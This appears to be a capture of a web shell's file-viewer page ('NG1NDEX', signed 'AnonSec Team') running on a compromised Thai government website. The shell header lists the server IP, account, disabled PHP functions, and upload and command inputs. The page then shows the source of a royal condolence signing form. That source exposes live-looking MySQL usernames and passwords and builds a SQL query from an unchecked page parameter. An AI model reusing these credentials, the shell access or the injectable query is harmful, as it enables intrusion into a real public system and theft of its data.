NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.141.42.23
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/domains/sumpatuan.go.th/private_html/backup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/domains/sumpatuan.go.th/private_html/backup//post.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>
ปวงข้าพระพุทธเจ้า 
ขอน้อมเกล้าน้อมกระหม่อมรำลึกในพระมหากรุณาธิคุณหาที่สุดมิได้
ข้าพระพุทธเจ้าผู้บริหาร ข้าราชการ พนักงานและประชาชน
จังหวัดนครปฐม
</title>
<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
}
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: underline;
}
a:active {
	text-decoration: none;
}
-->
</style></head>
<br>
<body background="Photo/BG/BG.jpg">
     
<form action="posted.php" method="post">
<table width="50%" align="center" border="0" cellpadding="0" cellspacing="0">
    <tr>
      <td colspan="2" align="center">

      </td>
    </tr>
    <tr align="center">
	<td>
	<font size="16"font color = "white"><i>
  ปวงข้าพระพุทธเจ้า 
ขอน้อมเกล้าน้อมกระหม่อมรำลึกในพระมหากรุณาธิคุณหาที่สุดมิได้<br>
ข้าพระพุทธเจ้าผู้บริหาร ข้าราชการ <br>พนักงานและประชาชน
 </i></font>
<br /><br />
    <font size="5"font color = "white"><i>
	ด้วยเกล้าด้วยกระหม่อมขอเดชะ &nbsp;ข้าพระพุทธเจ้า<br />
    </i>
	<br>
	( ชื่อ-นามสกุลที่ใช้ลงนาม )
	<br><br></font><input type="text" name="firstname" size="20" /> 
		<input type="text" name="lastname" size="20" /> <br /><br />
    <input  type="submit" value="ร่วมเเสดงความอาลัย" />
     &nbsp;&nbsp;
   

	</td>
    </tr>
  </table>
  </form>
  </td>
<hr />
<table width="40%" align="center" border="0" cellpadding="5" cellspacing="5">
<tr bgcolor="#CCCCCC">
<td align="center"><font color="#330033"><b>รายชื่อผู้ลงนาม</b></font></td>
</tr>
<tr bgcolor="#CCCCCC">
<td align="center"><font color="#330033"><b>ด้วยเกล้าด้วยกระหม่อมขอเดชะ &nbsp;ข้าพระพุทธเจ้า</b></font></td>
</tr>







<?php
$con = mysql_connect("localhost","mabkhae","vrP87giP");
mysql_query("SET NAMES UTF8");
//$con = mysql_connect("localhost","ptechcom_dad","0817749593");
mysql_select_db("mabkhae_king",$con);



if (isset ($_GET['page'] ) ) {
	$current_page = $_GET['page'];
} else{
	$current_page = 1;
}

$page_size = 10 ; #จำนวนของแถวข้อมูลที่ต้องการให้แสดง
$start_art = ( $current_page-1 ) * $page_size;

$sql = "SELECT * FROM father ORDER BY id DESC LIMIT $start_art, $page_size";
$result = mysql_query($sql); 
while ($data = mysql_fetch_array($result) ) {

?>




<tr>
<td bgcolor="#efefef"align="center">



<font size="5">
<?php echo $data['firstname']; ?> &nbsp;&nbsp;<?php echo $data['lastname']; ?>
</font>
<?php
echo "<hr width='95%' />";
}
$result = mysql_query ("SELECT COUNT(*) FROM  father");
$num_rows = mysql_result ($result,0,0);
$num_pages = ceil($num_rows/$page_size);

if($current_page !=1) {
	$prev_page = $current_page - 1;
	echo "<a href=\" ". $_SERVER['PHP_SELF'] . "?";
	echo "page=$prev_page\"><font size=-1><b>ข้อความก่อนหน้า</b></font></a>";
}
echo " <font size=-1><b>ข้อความก่อนหน้า: $current_page From $num_pages</b></font> ";

if ($current_page < $num_pages) {
	$next_page = $current_page + 1;
	echo "<a href=\" ". $_SERVER['PHP_SELF'] . "?";
	echo "page=$next_page\"><font size=-1><b>ข้อความถัดไป</a>";
	echo "</font></b>";
}

?>
<br /><br />
<center><a href="http://www.mabkhae.go.th"><b>กลับหน้าหลัก</b></a></center>
</td>
</tr>
</table>
<hr />

</body>
</html>

Anon7 - 2022
AnonSec Team